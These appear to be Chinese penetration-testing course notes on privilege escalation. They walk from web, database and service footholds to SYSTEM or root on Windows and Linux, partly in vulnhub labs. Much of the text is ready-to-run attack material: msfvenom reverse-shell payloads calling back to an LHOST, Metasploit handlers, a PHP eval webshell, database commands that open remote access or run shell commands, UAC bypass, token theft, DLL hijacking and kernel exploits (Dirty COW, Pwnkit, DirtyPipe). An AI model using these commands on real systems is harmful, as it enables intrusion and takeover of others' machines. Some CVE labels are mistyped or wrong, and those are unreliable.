#基础点:
0、为什么我们要学习权限提升转移技术:
简单来说就是达到目的过程中需要用到它 心里要想着我是谁 我在哪 我要去哪里
1、具体有哪些权限需要我们了解掌握的:
后台权限,数据库权限,Web权限,用户权限,服务器权限,宿主机权限,域控制器权限
2、以上常见权限获取方法简要归类说明:
后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
服务器权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)
域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达
3、以上常见权限获取后能操作的具体事情:
后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)
用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
服务器权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)
4、以上常见权限在实战中的应用场景介绍:
当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
#权限提升-Web应用&中间件&数据库
背景1:通过弱口令进入Web后台系统通过上传获取Web权限
背景2:通过Tomcat弱口令进入控制界面通过上传获取Web权限
背景3:通过Redis未授权进入管理端通过SQL执行获取Web权限
#权限转移-后台管理&数据库管理&Web
Tmall-后台权限->Web权限(提升)
Tmall-Web权限->数据库权限(转移)
Tmall-Web权限->另一个后台权限(转移)
PhpMyadmin-数据管理->Web权限(提升)
PhpMyadmin-Web权限->另一个后台权限(转移)
#Web到Win系统提权-平台&语言&用户
1、Web搭建平台差异
集成软件,自行搭建,虚拟化等
集成软件:宝塔,PhpStudy,XAMMP等
自行搭建:自己一个个下载安装搭建配置
虚拟化:Docker,ESXi,QEMU,Hyper-V等
集成软件大多获得权限后直接就是高权限 除了宝塔有自己的安全策略
自行搭建的不会出先拿到权限后就是高权限的情况
虚拟化需要先逃逸
2、Web语言权限差异
ASP/ASP.NET/PHP/JSP等
权限高低:JSP>ASP.NET>ASP=PHP
JSP的拿到权限后就是高权限不需要再提权 其他语言都需要再提(前提是自行搭建的 如果是集成软件的都不需要再提权了)
原因:语言特性
3、系统用户权限差异
Windows:
System:系统组,拥有管理系统资源的权限,包括文件、目录和注册表等。
Administrators:管理员组,具有对计算机进行完全访问和操作的权限。
Users:用户组,一般用户的默认组别,拥有较低的系统权限。
Guests:
访客组,可以访问计算机上的公共文件夹和打印机,但不能更改配置和安装程序。
Backup Operators:
备份操作员组,允许用户备份和还原数据,但不能更改配置安装程序。
Power Users:高级用户组,拥有比一般用户更高的系统权限,但比管理员组权限低。
Remote Desktop Users:远程桌面用户组,允许用户进行远程桌面连接。
Network Configuration Operators:网络配置操作员组,允许用户管理网络配置。
Performance Log Users:性能日志用户组,允许用户收集性能日志和计数器数据。
Distributed COM Users:
分布式 COM 用户组,允许用户使用分布式 COM 连接到计算机。
IIS_IUSRS: 用于授权IIS相关服务的用户组。
Windows 权限大概分为四个基本
System是最高权限Administrators其次,再下面就是User,组权限最底的是特殊组如Remote Desktop Users 这种,ASP/ASP.NET/PHP获得的权限就是IIS_IUSRS这个组的。
Linux:
系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限
#Web到Win-系统提权-宝塔面板-哥斯拉
Windows 2012(宝塔Apache+PHP)-MSF
复现搭建:选择2012系统后自行安装宝塔
PMeterpreter
BypassOpenBaseDir
BypassDisableFunction
#Web到Win-系统提权-溢出漏洞-MSF&CS
Windows 2008(IIS+ASP)-MSF
自行搭建+ASP/PHP+Windows 2008
复现搭建:选择2016系统后自行安装IIS+ASP
0、MSF安装:(也可以用kali)
目前的msf版本有bug可以TB上购买pro版本嘎嘎稳
https://blog.csdn.net/qq_46717339/article/details/122653084
1、生成反弹后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe
2、配置监听会话
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
exploit
2.1、筛选EXP模块
全自动:快速识别系统中可能被利用的漏洞
use post/multi/recon/local_exploit_suggester
set showdescription true
3、利用EXP溢出提权
background
use exploit/windows/local/ms16_075_reflection_juicy
set session 1
exploit
Windows 2016(IIS+ASP.NET)-CS
0、CS安装
chmod +x ./teamserver
chmod +x ./TeamServerImage
./teamserver IP password
1、连接CS
2、创建监听器
3、加载脚本插件
#Web到Win-系统提权-人工操作
如果提权中无法执行命令的话,可以尝试上传cmd.exe到可读写目录再调用
优点:解决实时更新不集成的EXP
缺点:操作繁琐,需要各种复现调试
解决工具或插件无法实时更新,又或者集成较少面对复杂情况下人工操作更适合
1、信息收集
参考常见命令(见上图)
2、补丁筛选
https://github.com/bitsadmin/wesng
python wes.py systeminfo.txt --color
python wes.py systeminfo.txt --color -i "Elevation of Privilege"
3、EXP获取执行
KernelHub 针对常用溢出编号指定找EXP
Poc-in-Github 针对年份及编号指定找EXP
exploitdb 针对类型及关键说明指定找EXP
https://github.com/Ascotbe/Kernelhub
https://github.com/nomi-sec/PoC-in-GitHub
https://gitlab.com/exploit-database/exploitdb
#Web到Win-系统提权-土豆家族
https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w
土豆(potato)提权通常用在我们获取WEB/数据库权限的时候,
可以将低权限的服务用户提升为"NT AUTHORITY\SYSTEM"特权。
1、Test in:Windows 10/11(1809/21H2)
2、Test in:Windows Server 2019 Datacenter(1809)
3、Test in:Windows Server 2022 Datacenter(21H2)
土豆家族
SweetPotato OK
RoguePotato
BadPotato OK
EfsPotato OK
GodPotato OK
PetitPotato OK
MultiPotato
CandyPotato
RasmanPotato OK
CoercedPotato
JuicyPotatoNG
PrintNotifyPotato OK
GodPotato
https://github.com/BeichenDream/GodPotato
SweetPotato
https://github.com/CCob/SweetPotato
RoguePotato
https://github.com/antonioCoco/RoguePotato
BadPotato
https://github.com/BeichenDream/BadPotato
EfsPotato
https://github.com/zcgonvh/EfsPotato
MultiPotato
https://github.com/S3cur3Th1sSh1t/MultiPotato
CandyPotato
https://github.com/klezVirus/CandyPotato
RasmanPotato
https://github.com/crisprss/RasmanPotato
PetitPotato
https://github.com/wh0amitz/PetitPotato
JuicyPotatoNG
https://github.com/antonioCoco/JuicyPotatoNG
PrintNotifyPotato
https://github.com/BeichenDream/PrintNotifyPotato
CoercedPotato
https://github.com/Prepouce/CoercedPotato
数据库提权流程:
1、先获取到数据库用户密码
-网站存在SQL注入漏洞
-数据库的存储文件或备份文件
-网站应用源码中的数据库配置文件
-采用工具或脚本爆破(需解决外联问题)
2、利用数据库提权项目进行连接
MDUT
Databasetools
RequestTemplate
https://github.com/SafeGroceryStore/MDUT
https://github.com/Hel10-Web/Databasetools
https://github.com/1n7erface/RequestTemplate
3、可利用建立代理解决不支持外联
-利用已知Web权限建立代理(等同于本地连接)
-利用已知权限执行SQL开启外联(让数据库支持外联)
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
flush privileges;
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE;
SHUTDOWN IMMEDIATE;
STARTUP;
4、可利用数据库提权类型条件及技术
-MYSQL:PHP+MYSQL 以web入口提权
条件:ROOT密码(高版本的-secure-file-priv没进行目录限制)
技术:UDF MOF 启动项 反弹Shell
-MSSQL:.NET+MSSQL 以web入口提权
条件:sa密码
技术:xp_cmdshell sp_oacreate CLR 沙盒
-Oracle:(站库分离,非JSP,直接数据库到系统等)
条件:数据库用户密码
技术:DBA,普通用户,注入模式
-MSSQL:.NET+MSSQL 以web入口提权
条件:sa密码
技术:xp_cmdshell sp_oacreate CLR 沙盒
-Oracle:(站库分离,非JSP,直接数据库到系统等)
条件:数据库用户密码
技术:DBA,普通用户,注入模式
-PostgreSQL
Web到系统
条件:数据库用户密码
技术:CVE-2019-9193 UDF libc
复现镜像:
https://market.aliyun.com/products/56024006/cmjj016247.html
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-Redis
数据库到Linux
条件:利用未授权或密码连接后执行
见第78天课程内容-只适用Linux
技术:写密钥ssh 计划任务 反弹shell CVE2022沙盒执行
复现搭建:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
cd src
/redis-server
-Memcached
数据库到Linux
条件:设置远程可访问或取得本地权限后访问
是一套常用的key-value缓存系统,由于它本身没有权限控制模块,
服务被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。
复现镜像:
https://market.aliyun.com/products/56024006/cmjj017529.html
案例参考:
https://mp.weixin.qq.com/s/V_p1heyM-2HxsaFLRs9qeg
开启命令:
systemctl start memcached.service
关闭命令:
systemctl stop memcached.service
查看状态:
systemctl status memcached.service
#第三方软件提权:
远控类:Teamviewer 向日葵 Todesk VNC Radmin等
密码类:各大浏览器 Xshell Navicat 3389 等
服务类:FileZilla Serv-u Zend等
文档类:Winrar WPS Office等
原理:
1、通过普通用户或Web用户收集或提取有价值凭据进行提升
2、通过普通用户或Web用户上传类似钓鱼文件等待管理提升
演示:
1、计算机用户:Teamviewer
2、计算机用户:NavicatPremium
3、计算机用户或WEB权限:Winrar(CVE2023)
4、计算机用户:浏览器密码凭据
应用场景:
1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。
2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。
主要当前技术入口点:
-当前权限由钓鱼攻击获取
主要当前技术应用点:
-当前受控机在内网域环境
1、提权system与内网交互
2、降权到域用户与内网交互
#服务启动(提权)
sc是用于与服务控制管理器和服务进行通信的命令行程序。
适用版本:windows 7、10、08、12、16、19、22,早期用at命令
1、创建一个名叫syscmd的执行文件服务
sc Create syscmd binPath= "c:\msf.exe"
2、运行服务
sc start syscmd
#远程控制(提权)
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec.exe -accepteula -s -i -d cmd #调用运行cmd
#进程注入(降权&提权)
MSF:
ps //查看进程
migrate PID //迁移对应PID
CS:
ps //查看进程
inject PID //注入对应PID
#令牌窃取(降权&提权)
MSF:
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
CS:
ps //查看进程
steal_token PID //窃取进程令牌
spawnu PID //窃取进程令牌上线
应用场景:
1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。
2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。
#Win10&11-BypassUAC自动提权-MSF&UACME
为了远程执行目标的exe或者bat可执行文件需要绕过此安全机制
在用户到系统权限自动提权中也学通过BypassUAC实现自动化提权
绕过项目:MSF内置,Powershell渗透框架,UACME项目(推荐)
开启UAC和未开启UAC时,CS/MSF默认getsystem提权影响(进程注入等)
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f exe -o msf.exe
1、MSF模块:
use exploit/windows/local/ask
use exploit/windows/local/bypassua 针对Windows7
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
2、UACME项目:
https://github.com/hfiref0x/UACME
Akagi64.exe 编号 调用执行
#Windows-DLL劫持提权应用配合MSF-FlashFXP
原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-等待启动应用成功
检测:ChkDllHijack 火绒剑
项目:https://github.com/anhkgg/anhkgg-tools
利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f dll -o xiaodi.dll
提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用
#Windows-不带引号服务路径配合MSF-MacroExpert
原理:服务路径配置由于目录空格问题,可上传文件配合解析恶意触发执行
过程:检测服务权限配置-制作文件并上传-服务路径指向解析-等待调用成功
检测命令:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
上传反弹exe,设置好对应执行名后,执行sc start "Macro Expert"
#Win2012-不安全的服务权限配合MSF-NewServices
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
检测脚本:accesschk.exe -uwcqv "" *
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
sc config "test" binpath= "C:\Program.exe"
sc start test
#综合类检测项目:
https://github.com/carlospolop/PEASS-ng
PEAS-ng适用于Windows和Linux/Unix*和MacOS的权限提升工具。
winPEAS.bat > result.txt
winPEASany.exe log=result.txt
Linux
#信息收集
当前主机的操作系统
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue
当前主机的内核版本
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"
#内核漏洞筛选:
MSF检测:
run post/multi/recon/local_exploit_suggester
提权脚本:
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester
综合脚本:
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
#应用场景:
获取到Web权限在Linux服务器上时进行的内核漏洞提权
#常见内核漏洞案例:
dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034)
Dirty Pipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
大脏牛 (CVE-2017--1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
...
#Linux系统提权-Web&内核溢出-Dcow
复现环境:https://www.vulnhub.com/entry/lampiao-1,249/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用:
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.46.144
set rport 1898
run
3、内核提权:
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
https://github.com/gbonacini/CVE-2016-5195
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
su root
#Linux系统提权-Web&内核溢出-Pwnkit
复现环境:https://www.vulnhub.com/entry/darkhole-1,724/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用:
重置管理密码-上传1.phtml-反弹MSF
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2021_4034
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session x
run
getuid
shell
cd /root
cat root.txt
#Linux系统提权-Web&内核溢出-DirtyPipe
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
1、信息收集:
nmap -p1-65535 192.168.139.0/24
2、Web漏洞利用
扫描发现-抓包分析-文件写入-反弹MSF
gobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
message=<?php eval($_POST["pass"]);?>&file=xd.php
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
3、内核提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
search cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe
set session x
set lhost xx.xx.xx.xx
run
#补充
CVE-2023-0386